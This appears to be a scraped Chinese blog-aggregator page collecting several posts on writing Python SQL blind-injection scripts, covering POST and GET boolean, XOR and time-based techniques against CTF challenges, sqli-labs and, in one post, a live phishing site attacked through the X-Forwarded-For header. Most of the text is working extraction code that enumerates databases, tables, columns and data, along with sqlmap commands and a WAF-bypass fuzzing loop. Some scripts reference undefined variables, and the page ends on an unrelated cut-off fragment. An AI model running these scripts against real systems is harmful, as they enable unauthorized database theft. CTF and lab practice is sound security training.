精华内容
下载资源
问答
  • sql盲注脚本

    2021-08-14 17:32:32
    盲注脚本 POST型 from time import sleep import requests s = requests.Session() url = '******' flag = '' class Solution: # 数据库名 def function_database(self,left_num, compare_str_num): payload ...

    盲注脚本

    POST型

    from time import sleep
    
    import requests
    
    s = requests.Session()
    url = '******'
    flag = ''
    
    class Solution:
    
        # 数据库名
        def function_database(self,left_num, compare_str_num):
            payload = f"/**/or/**/ord(right(left((database()),{left_num}),1))={compare_str_num}#"
            
            data = {
                "name": '-1\'' + payload,
                "pass": "1"
            }
            r = s.post(url, data=data)
    
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                return True
            else:
                return False
    
        # 表名
        def function_table(self,left_num, compare_str_num):
            payload = f"/**/or/**/ord(right(left((sELect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{left_num}),1))={compare_str_num}#"
            
            data = {
                "name": '-1\'' + payload,
                "pass": "1"
            }
            r = s.post(url, data=data)
    
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                return True
            else:
                return False
    
        # 字段名
        def function_column(self, left_num, compare_str_num):
            payload = f"/**/or/**/ord(right(left((sELect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='fl4g'),{left_num}),1))={compare_str_num}#"
            
            data = {
                "name": '-1\'' + payload,
                "pass": "1"
            }
            r = s.post(url, data=data)
    
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                return True
            else:
                return False
    
        # 数据内容
        def function_content(self, left_num, compare_str_num):
            payload = f"/**/or/**/ord(right(left((sELect/**/flag/**/from/**/fl4g),{left_num}),1))={compare_str_num}#"
            
            data = {
                "name": '-1\'' + payload,
                "pass": "1"
            }
            r = s.post(url, data=data)
    
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                return True
            else:
                return False
    
    
    solve = Solution()
    
    for left_num in range(1, 100):
        low = 32#32
        high = 127#127
        for compare_str_num in range(low, high):
            sleep(0.1)
            if solve.function_content(left_num, compare_str_num):
                flag += chr(compare_str_num)
                print(flag)
    
                break
    
    print(flag)
    
    展开全文
  • DVWA SQL盲注,Low,Medium,High 三个级别的bool盲注脚本,比较完整,配套解释 : https://blog.csdn.net/csdn_Pade/article/details/82886765
  • 记一次sql盲注脚本编写前言开始测试已经修改了网站的具体信息这里只是做一个演示使用burp测试使用sqlmap命令复现漏洞php文件数据表bool注入脚本结果结束 前言 同学发给我一个钓鱼网站,打开经过简单的测试发现没什么...

    前言

    在这里插入图片描述
    同学发给我一个钓鱼网站,打开经过简单的测试发现没什么漏洞,但是还不想放手,所以就尝试了一下referer还有数据包中不存在的xff头

    开始测试

    已经修改了网站的具体信息这里只是做一个演示

    POST /sql.php HTTP/1.1
    Host: x.x.cn
    Content-Length: 35
    Cache-Control: max-age=0
    Origin: http://x.x.cn
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Referer: http://x.x.cn/
    X-Forwarded-For: 1
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=o745hanc51223ovpucd0s4kgk2
    Connection: close
    
    u=45345345&p=45345345&bianhao=1&a=1
    

    使用burp测试

    1’ or 1=‘2
    在这里插入图片描述
    1’ or 1='1
    在这里插入图片描述

    使用sqlmap命令

    sqlmap.py -r 12.txt -p X-Forwarded-For --dbms mysql
    

    结果只有时间盲注

    在这里插入图片描述
    明明存在注入,但是sqlmap没有检测出来,于是想根据响应码来进行bool注入

    复现漏洞

    php文件

    <?php 
    error_reporting(0);
    if(!empty($_POST['a']))
    {
    	$a=$_POST['a'];
    	if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    	{
    		$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    		$con = mysqli_connect("localhost","root","root","test");
    		$sql="select * from book where Book_id='$ip'";
    		//echo $sql;
    		$result = mysqli_query($con,$sql);
    		if (mysqli_num_rows($result)>0)
    		{
    			//echo $a;
    			header('Vary: Accept-Encoding');
    		}
    		else
    		{
    			header('Location: test.php');
    		}
    	}
    	else
    	{
    			echo $a;
    	}
    }
    ?>
    

    数据表

    在这里插入图片描述

    bool注入脚本

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import requests
    import urllib
    
    
    data="u=45345345&p=45345345&bianhao=1&a=1"
    
    def database_length(url):
        for i in range(1, 100):
            xkey = "1' or (select length(database()))=%s#" % i
            headers = {'Content-Type': 'application/x-www-form-urlencoded','X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
            #print(response)
            if response.status_code==200:
                return i
    
    
    def database_name(url):
        payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
        databasename = ''
        aa = database_length(url)
        for i in range(1, aa + 1):
            for payload in payloads:
                xkey = "1' or ascii(substring(database(),%s,1))=%s#" % (i, ord(payload))
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers,allow_redirects=False)
                if response.status_code==200:
                    databasename += payload
                    break
        return databasename
    
    
    
    
    def table_count(url, database):
        for i in range(1, 100):
            xkey = "1' or (select count(table_name) from information_schema.tables where table_schema=" + "'" + database + "')" + "=%s#" % i
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                return i
    
    
    def table_length(url, a, database):
        for i in range(1, 100):
            xkey = "1' or (select length(table_name) from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1)=%s#" % (a, i)
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                return i
    
    
    def table_name(url, database):
        payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
        table_name = []
        bb = table_count(url, database)
        for i in range(0, bb + 1):
            user = ''
            cc = table_length(url, i, database)
            if cc == None:
                break
            for j in range(0, cc + 1):
                for payload in payloads:
                    xkey = "1' or ascii(substring((select table_name from information_schema.tables where table_schema=" + "'" + database + "'" + " limit %s,1),%s,1))=%s#" % (i, j, ord(payload))
                    headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                    response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                    if response.status_code==200:
                        user += payload
                        break
                        # print payload
            table_name.append(user)
        return table_name
    
    
    
    
    def column_count(url, table_name):
        for i in range(1, 100):
            xkey = "1' or (select count(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + ")=%s#" % i
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                return i
    
    
    def column_length(num, url, table_name):
        for i in range(1, 100):
            limit = " limit %s,1)=%s" % (num, i)
            xkey = "1' or (select length(column_name) from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                return i
    
    
    def column_name(url, table_name):
        payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
        column_name = []
        dd = column_count(url, table_name)
        for i in range(0, dd + 1):
            user = ''
            bb = column_length(i, url, table_name)
            if bb == None:
                break
            for j in range(0, bb + 1):
                for payload in payloads:
                    limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
                    xkey = "1' or ascii(substring((select column_name from information_schema.columns where table_name=" + "'" + table_name + "'" + limit+"#"
                    headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                    response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                    if response.status_code==200:
                        user += payload
                        break
            column_name.append(user)
        return column_name
    
    
    def data_count(url, table,column):
        for i in range(1, 100):
            xkey = "1' or (select count("+column+") from "+table+")=%s#" % i
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                return i
    
    
    def data_length(num, url, table,column):
        for i in range(1, 100):
            limit = " limit %s,1)=%s" % (num, i)
            xkey = "1' or (select length("+column+") from "+table+limit+"#"
            headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
            response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            if response.status_code==200:
                return i
    
    
    def data_data(url, table,column):
        payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.'
        data_data = []
        dd = data_count(url, table,column)
        for i in range(0, dd + 1):
            user = ''
            bb = data_length(i, url, table,column)
            if bb == None:
                break
            for j in range(0, bb + 1):
                for payload in payloads:
                    limit = " limit %s,1),%s,1))=%s" % (i, j, ord(payload))
                    xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
                    headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                    response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                    if response.status_code==200:
                        user += payload
                        break
            data_data.append(user)
        return data_data
    
    def data_dataall(url, table,column,line,count):
        payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.'
        user = ''
        bb = data_length(line, url, table,column)
        for j in range(0, bb + 1):
            for payload in payloads:
                limit = " limit %s,1),%s,1))=%s" % (line, j, ord(payload))
                xkey = "1' or ascii(substring((select "+column+" from " + table + limit+"#"
                headers = {'Content-Type': 'application/x-www-form-urlencoded', 'X-Forwarded-For': xkey}
                response = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
                if response.status_code==200:
                    user += payload
                    break
        return user
    
    if __name__ == '__main__':
        url = 'http://192.168.164.138/test.php'
        databasename = database_name(url)
        print "The current database:" + databasename
        database = raw_input("Please input your databasename: ")
        databasedata = {}
        tables = table_name(url, database)
        print database + " have the tables:",
        print tables
        for table in tables:
            k={}
            column1=[]
            print table + " have the columns:"
            column1=column_name(url, table)
            for j in range(0, len(column1)):
                k[j+1] = column1[j]
            databasedata[table]=k
            print column1
        print(databasedata)
        databasedata={'123': {1: 'id'}, 'book': {1: 'book_id', 2: 'price'}}
        while 1:
            print "请输入你要读取的表名"
            table = raw_input("Please input your table_name: ")
            if databasedata.has_key(table)!=False:
                break
    
        column = raw_input("Please input your column_name: ")
        if len(column)>0:
            print column+"have the data:"
            print data_data(url, table, column)
        else:
            count=data_count(url, table, databasedata[table][1])
            print "count="+str(count)
            dataline="count  "
            for i in range(0, len(databasedata[table])):
                dataline=dataline+databasedata[table][i+1]+"  "
            print dataline
            for line in range(0,count):
                dataline=str(line)+"  "
                for i in range(0, len(databasedata[table])):
                    dataline+=data_dataall(url, table, databasedata[table][i+1], str(line), count)+"  "
                print dataline
    
    
    
    

    结果

    在这里插入图片描述

    结束

    sqlmap有一个参数是risk,这个是使用的payload的数量,等级越高测试的payload越多,对数据产生影响的可能性越大
    最后使用sqlmap命令

    sqlmap.py -r 12.txt -p X-Forwarded-For --dbms mysql --technique=B --risk 3
    

    在这里插入图片描述
    这种钓鱼站基本都是来假装官方网址盗取用户账号密码,在输入密码之前一定要保证网络可信,可以提前查看一下域名是否为官方域名,再输入密码。

    展开全文
  • sql盲注脚本编写

    2021-08-01 10:53:47
    因为下学期要学python,又因为自己的python和编程能力实在是太弱了,所以想来学学python脚本编写的应用,就以sqli-labs里面的布尔盲注、时间盲注作为例子,来一步一步学习编写脚本 Requests库 写脚本注入的时候,用...

    因为下学期要学python,又因为自己的python和编程能力实在是太弱了,所以想来学学python脚本编写的应用,就以sqli-labs里面的布尔盲注、时间盲注作为例子,来一步一步学习编写脚本


    Requests库

    写脚本注入的时候,用的最多的库就是requests库了,顺便学习一下它8!它可以在python中发出一个标准的HTTP请求。可以基本完全满足HTTP测试需求

    安装库

    pip install requests
    

    导入库

    import requests
    

    请求(Request)

    params:
    url – URL for the new :class:`Request` object.
    params – (optional) Dictionary, list of tuples or bytes to send in the query string for the :class:`Request`.
    
    
    import requests
    
    url = "url = "http://127.0.0.1/sqllib/Less-1/"" #想要访问的url
    r0 = request.get(url)  #发送一个GET请求,返回值是一个Response的实例
    print(r0)	#打印状态信息
    
    #也可以用get方式传递参数,参数可以以字符串、元组、字典等方式提交
    data = {'id':1}
    r1 = request.get(url, data)
    print(r1)
    

    响应(Response)

    因为刚才已经返回了一个Response的实例,现在就可以调用其来查看有关于GET请求结果的全部信息。

    响应码

    可以调用.status_code,可以返回状态码。可以用状态码来做一些判断。

    200 OK

    404 Not Found

    import requests
    
    url = "url = "http://127.0.0.1/sqllib/Less-1/""
    r = requests.get(url)  
    
    code = r.status_code
    
    if code == 200:
        print("Success!")
    elif code == 404:
        print("Not Found!")
     
    #当然也可以在条件表达式直接用Response实例 ,那么200-400 == True,其它为False
    
    '''
    if r:
        print("Success!")
    else:
        print("Not Found!") 
    '''
    
    
    

    下图是分别运用上述两种情况产生的结果

    image-20210729113313231

    ​ 图1 使用status_code和

    ​ 直接使用resonse实例作

    ​ 为条件表达式

    响应内容

    import requests
    
    url = "http://127.0.0.1/Less-1" #专门找一个404的页面,方便查看响应内容
    
    parms = {'id':'1'}
    r = requests.get(url, parms)
    
    text = r.text
    content = r.content
    json = r.json
    
    #查询当前页面是什么编码,可以修改为自己想要的编码
    print("Your encoding is:"+r.encoding)
    #修改当前编码为UTF-8
    r.encoding = 'utf-8'
    print("The current encodingis:"+r.encoding)
    #经过自动解码以后的响应内容
    print(text)
    #二进制响应内容
    print(content)
    #json内容
    print(json)
    

    image-20210729115452260

    ​ 图2 编码修改前后

    image-20210729115545326

    ​ 图3 text响应内容

    image-20210729115738019

    ​ 图4 content响应内容

    									       图5 json响应内容
    

    响应头部

    import requests
    
    url = "http://127.0.0.1/Less-1" #专门找一个404的页面,方便查看响应内容
    
    parms = {'id':'1'}
    r = requests.get(url, parms)
    
    print(r.headers)
    
    #也可以在get请求中自定义头部信息,用字典的形式传递参数即可
    '''
    eg:
    header = {'user-agent':'my_test/0001'}
    result = requests.get("https://api.github.com/events",headers=header)
    '''
    

    image-20210729120251196

    										    图6 header头部信息
    

    requests库的基本内容大致就这么多,剩下的通过编写一些脚本来进行学习


    时间盲注

    eg:Less-9

    #数据库名:security
    #数据表名:users
    #字段名:username,password
    
    import requests
    
    url = "http://127.0.0.1/sqllib/Less-9/"
    
    def payloadfun(i, j):
        # 分别把想要对字符串截取的第i位和截取字符的ASCII值作为两个参数
        
        #库名
        #sql = "1' and if(ascii(substr(database(),%d,1)) = %d, sleep(3), 1) -- " % (i, j)
        #表名
        sql = "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,sleep(3),1) -- "% (i, j)
        #字段名
        # sql = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),%d,1))=%d,sleep(3),1)-- "% (i, j)
        #字段值
        # sql = "1' and if(ascii(substr((select group_concat(username) from users),%d,1))=%d,sleep(3),1)-- "% (i, j)
        # sql = "1' and if(ascii(substr((select group_concat(password) from users),%d,1))=%d,sleep(3),1)-- "% (i, j)
        
        #写一个字典,作为get的参数
        parms = {'id': sql}
        #发送一个GET请求,且用字典传参
        r = requests.get(url=url, params=parms)
        #判断这个请求的响应时间是否大于2
        if r.elapsed.total_seconds() > 2:
            flag = 1
        else:
            flag = 0
        return flag
    
    def time_bilnd():
        result = ""
        for i in range(1, 100):
            #j从0开始的原因,是为了让函数检查到空白字符就要停止继续检查了,因为开始测试的时候我j是从字母A开始直到z结束的,如果不检查空白,会出现一直循环直到循环100次为止
            j = 0
            while j < 127:
                flag = payloadfun(i, j)
                if flag:
                    break
                else:
                    j = j + 1
            char = j
             # 如果遇到空白即检查完毕,那么直接跳出循环
            if char == 0:
                break
             #如果出现不可打印字符就直接跳过,因为我没加限制条件测试的时候,可能会出现爆破错误的情况
            elif 1 <= char <= 31:
                continue
            # 将猜解成功的ASCII码转换为字符打印
            result += chr(char)
            print(result)
           
    time_bilnd()
    

    测试结果如下

    image-20210729220930128

                                          图7 爆破数据库结果
    

    image-20210730105325262

      									 	图8 爆破数据表结果
    

    这个脚本也可以写的更简单一点,就是直接把可能出现的字符列成一个字符串,让 i 和 j 直接在字符串里面寻找,这样就不用把ASCII码表遍历一边,会节省很多时间。

    import requests
    
    
    def bilnd():
        res = ""
        url = "http://127.0.0.1/sqllib/Less-9/"
        dict_char = "0123456789abcdefghijklmnopqrstuvwxyz,!"
        for i in range(1, 100):
            for j in dict_char:
                #以爆破数据库名字为例
                sql = "1' and if((substr(database(),%d,1)) = '%c', sleep(3), 1) -- " % (i, j)
                parms = {'id': sql}
                r = requests.get(url, parms)
                if r.elapsed.total_seconds() > 2:
                    char = j
                    res += char
                    print(res)
                    break
            #判断如果库、表、字段名不在字符串里,直接跳出循环
            if j == '!':
                break
    
    
    bilnd()
    

    布尔盲注

    布尔盲注因为只需要判断页面的回显情况是逻辑正确还是逻辑错误即可,不用判断响应时间,实际上与时间盲注类似,只是少了对于响应时间的判断。爆破速度会快很多

    eg:Less-5

    import requests
    
    url = "http://127.0.0.1/sqllib/Less-5/"
    dic = '0123456789abcdefghijklmnopqrstuvwxyz,!'
    res = ""
    
    for i in range(1, 100):
        for j in dic:
            #库名
            #sql = "1' and if((substr(database(),%d,1)) = '%c', 1, 0) -- " % (i, j)
            #表名
            #sql = "1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',1,0) -- "% (i, j)
            #字段名
            sql = "1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),%d,1)='%c',1,0) -- "% (i, j)
            #字段值
            # sql ="1' and if(substr((select group_concat(username) from users),%d,1)= '%c',1,0) -- "% (i, j)
            #sql ="1' and if(substr((select group_concat(password) from users),%d,1)= '%c',1,0) -- "% (i, j)
            parm = {'id': sql}
            r = requests.get(url=url, params=parm)
            # 只要判断逻辑正确的标志出现,即可打印结果
            if "You are in" in r.text:
                res += j
                print(res)
                break
        if j == '!':
            break
    
    

    fuzz

    但在实际做题过程中,题目往往会给我们过滤一些东西,这就需要我们重新构造我们的脚本,用来绕过这些过滤,从而达到注入的目的

    一般会过滤

    • and/or
    • 空格
    • 括号
    • 逗号
    • 单引号、双引号
    • 关键查询词(select、union等)
    • 等号
    • 一些重要函数
    • 注释符

    所以我们需要找到题目中到底过滤了什么关键字

    我们可以用脚本

    import requests
    
    fuzz_url = "xxxxx/?id=1"
    
    fuzz_op = ['-', '+', '/*', '*/', '/*!', '.', '%', '%00', '!', '*', '@', '=']
    fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n","%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]
    fuzz_blank = ['', ' ']
    fuzz_quote = ["'"]
    
    fuzz = fuzz_op+fuzz_ch+fuzz_blank+fuzz_quote
    
    header={xxxx}
    r = requests.get(url,header)
    print(r.text)
    for a in fuzz:
        for b in fuzz:
            for c in fuzz:
                for d in fuzz:
                    exp = "/*!union" + a + b + c + d + "select*/ 1, 2, 3"
                    url = fuzz_url + exp
                    res = requests.get(url=url,headers=headers)
                    print("Now URL:" + url)
                    if xxxxx in res.text:
                        print("Find Fuzz bypass:" + url)
                        with
    open(r".\\result.txt", 'a', encoding='utf-8') as r:
        r.write(url+"\n")
        
    

    也可以使用burp suite自带的intruder模块,将fuzz的字典加载为payload,然后进行攻击即可。

    Tips:

    在写的时候一直没弄清一个问题,现在弄清楚了,记录一下,在查列名的时候,一定要记得限制数据库,因为在本地搭建环境做习惯了,所以查列的语句一直写成select group_concat(column_name) from information_schema.columns where table_name='users',每次能查正确的原因是,本地环境已经限制了你的数据库为security,所以限制条件加与不加都一样。

    image-20210730133200521

    ​ 图9 sqli-labs的基本配置信息

    但是在用脚本跑的时候,因为是发送的是一个HTTP请求,并且服务器并不知道你到底选择的是哪个数据库,就会把所有数据库里的有关信息都报出来,这样就导致出错了。

    由下图可见,系统自动把所有数据库中包含users这张表里面的字段全部列出来了。

    image-20210730133345621

    ​ 图10 错误的语句导致的查询结果

    应用

    我从ctfhub中关于sql注入,作为实际操作的例子吧,因为不涉及到过滤等其它问题,只是单纯的盲注,所以脚本内容其实与sqli-labs的例子一样,只是换汤不换药

    首先根据题目要求,发现逻辑正确与否,只有回显内容的不同,所以就可以采用脚本进行跑了

    image-20210730173017265

    image-20210730173002476

    import requests
    
    url = "http://challenge-57a076c2fd4ade88.sandbox.ctfhub.com:10800/"
    res = ""
    dic ='0123456789abcdefghijklmnopqrstuvwxyz{,}!'
    
    for i in range(1,100):
        for j in dic:
            #sql = "1 and if (substr(database(),%d,1)='%c',1,0)"% (i,j)
            #sql = "1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',1,0)"% (i, j)"
            #sql = "1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'flag'),%d,1)='%c',1,0)"% (i, j)
            sql = "1 and if(substr((select group_concat(flag) from flag),%d,1)= '%c',1,0)"% (i, j)
            parms={'id':sql}
            r = requests.get(url,parms)
            if 'query_success' in r.text:
                res += j
                print(res)
                break
        if j == '!':
            break
            
     
    

    image-20210730174146466

    image-20210730174418524

    image-20210730174907306

    image-20210730175111693


    bugku中的sql注入

    题目地址:http://114.67.246.176:16590/index.php

    首先进去是一个登录界面,我们输入admin&admin发现

    题目回显password error

    image-20210730202309014

    在输入root&root

    image-20210730202329567

    这样就能大致确定,后台是现对我们的用户名进行匹配,如果匹配成功,才会继续对密码进行确认,所以我们可以在用户名处做文章。

    但是经过测试,许多符号都被过滤掉了,包括空格,逗号,等号等

    所以我们就要用各种姿势去绕过了,我们可以使用异或注入,即相同为0,不同为1

    脚本如下:

    import requests
    
    url = "http://114.67.246.176:16590/index.php"
    dic = "0123456789abcdefghijklmnopqrstuvwxyz"
    result = ""
    for i in range(1,100):
        flag = 0
        for j in dic:
            sql = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0 #".format(str(i),ord(j))
            parms = {"username": payload,"password": "123"}
            r = requests.post(url, data)
            if "error" in r.text:
                result += j
                flag = 1
                print(result)
        if flag == 0:
            break
    

    解释一下这个payload,首先因为for和空格被过滤,所以我们mid(xx,xx.xx)这种形式的参数就不行了,mid函数还有一种参数是mid(xxx from 1 for 1),for可有可无如果没有,就从第一位截取到结尾

    image-20210731114358553

    image-20210731114622677

    首先当ascii()函数传入的参数为字符串的时候,就会返回字符串第一个字符的ascii值,这样就可以绕过for。

    image-20210731113642894

    比如我们的数据库名字为security,首先用mid函数从第一位截取完全就是 security,在用ascii函数传入因为它的特性,就会返回s的ascii值

    同理只更改mid函数的第二个参数为2,即截取为ecurity,传入ascii函数以后就会返回e的ascii值,这样以此类推就可以返回把数据库名字的ascii值爆破出来

    image-20210731115209141

    所以最后如果判断的字符与我们的给定的ascii值不相等的话(因为判断的是不等号),则执行的是 select * from xxxx where username='admin' ^ 1 ^ 0 #

    又因为一个变量与0异或是其本身,与1异或是它的否定,所以这句语句的逻辑为0即错误

    这样因为用户名不对,所以就会回显 username does not exist!

    而如果判断的字符与给定的ascii值相等的话,则执行的是select * from xxxx where username='admin' ^ 0 ^ 0 #

    所以最后的逻辑为真,即会回显 password error!

    所以我们根据这个只要,发现页面出现password error!字样即证明猜解正确。

    将最后解出来的值,md5解密以后,得到密码登录后台即可得到flag

    以后就会返回e的ascii值,这样以此类推就可以返回把数据库名字的ascii值爆破出来

    [外链图片转存中…(img-ZrqGKJiI-1627786417298)]

    所以最后如果判断的字符与我们的给定的ascii值不相等的话(因为判断的是不等号),则执行的是 select * from xxxx where username='admin' ^ 1 ^ 0 #

    又因为一个变量与0异或是其本身,与1异或是它的否定,所以这句语句的逻辑为0即错误

    这样因为用户名不对,所以就会回显 username does not exist!

    而如果判断的字符与给定的ascii值相等的话,则执行的是select * from xxxx where username='admin' ^ 0 ^ 0 #

    所以最后的逻辑为真,即会回显 password error!

    所以我们根据这个只要,发现页面出现password error!字样即证明猜解正确。

    将最后解出来的值,md5解密以后,得到密码登录后台即可得到flag

    image-20210730203357449

    展开全文
  • ctf各种sql盲注脚本

    2021-08-17 21:59:53
    脚本payload参考题目:[第一章 web入门]SQL注入-2 / 极客大挑战finilysql(buuctf) 1.通过post传参的脚本 用的时候修改post参数和个数 1.1 基于异或盲注,布尔盲注等: import requests url = '...

    以下的几个脚本都是自己写的(有参考别的大佬),代码可能不是最精简,但是还算顺眼

    核心算法都是二分法,不推荐时间盲注(速度硬伤)

    脚本payload参考题目:[第一章 web入门]SQL注入-2 / 极客大挑战finilysql(buuctf)

    1.通过post传参的脚本


    用的时候修改post参数和个数

    1.1 基于异或盲注布尔盲注等:

    import requests
    
    url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php'
    flag = ''
    
    for i in range(1, 1000):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            #payload = f"1' or ascii(substr(database(),{i},1))>{mid}#"    #查库
            #payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#"   #查表
            #payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#"   #查列
            payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#"   #查数据
            data = {
                "name":payload,
                "pass":'qwer'
            }
            response = requests.post(url, data = data)
            if 'u6216' in response.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2       
        if low != 32 :
            flag += chr(int(low))
        else:
            break
        print(flag)
    

    1.2 基于时间盲注

    import requests
    import time
    
    url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php'
    flag = ''
    
    for i in range(1,1000):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            #payload = f"1' or if(ascii(substr(database(),{i},1))>{mid},sleep(2),1)#"       #查库名
            #payload = f"1'or if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid},sleep(2),1)#"        #查表名
            #payload = f"1'or if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),{i},1))>{mid},sleep(2),1)#"        #查列名
            payload = f"1'or if(ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid},sleep(2),1)#"       #查数据
            data = {
                "name":payload,
                "pass":'qwer'
            }        
            last = int(time.time())
            response = requests.post(url, data = data)
            now = int(time.time())
            if now - last > 1 :    
                low = mid + 1
            else :
                high = mid
            mid = (low + high) // 2 
        if low != 32 :
            flag += chr(int(low))
        else:
            break
        print(flag)
    

    2.通过get传参的脚本


    修改url 和 文本

    2.1 基于异或盲注,布尔盲注等:

    import requests
    
    url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id="
    name = ''
    
    for i in range(1,1000):
        min = 32
        max = 128
        while min<max:
            mid = (min + max) // 2
            payload=f"1^(ascii(substr(database(),{i},1))>{mid})#"       #查库名
            #payload=f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{i},1))>{mid})#"        #查表名
            #payload=f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{i},1))>{mid})#"      #查列名
            #payload=f"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})#"       #查数据
            response=requests.get(url=url+payload)
            if 'ERROR' in response.text:
                min = mid + 1
            else:
                max=mid
        if min != 32 :
            name += chr(min)
        else:
            break
        print(name)
    

    2.2 基于时间盲注:

    import requests
    import time 
    
    url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id="
    name = ''
    
    for i in range(1,1000):
        min = 32
        max = 128
        while min<max:
            mid = (min + max) // 2
            payload=f" "       #查库名
            #payload=f" "        #查表名
            #payload=f" "      #查列名
            #payload=f" "       #查数据
            last = int(time.time())
            response=requests.get(url=url+payload)
            now = int(time.time())
            if now - last > 1:
                min = mid + 1
            else:
                max=mid
        if min != 32 :
            name += chr(min)
        else:
            break
        print(name)
    
    

    3.备注

    1.payload不放了,这个做题慢慢积累,网上也都有,根据题目自己写

    2.能不使用sleep就不使用,速度比其他的方法慢太多

    3.在网不好的情况下可能会出现脚本打印的字符错误,不是代码问题

    4.自己写的脚本可能不完善,有问题或者有建议留言,有需求也可以自改

    5.遇到新的脚本或者方法再补充


    点个赞吧!!!!!!!!!!!
    贴一下myblog

    END

    展开全文
  • 之前在做渗透测试时,sqlmap跑出一个单引号闭合的sql注入,但当我想爆库、爆表时,不知道后台做了什么限制,sqlmap始终无法跑出来 提示:以下是本篇文章正文内容,下面案例可供参考 一、pandas是什么? 示例:...
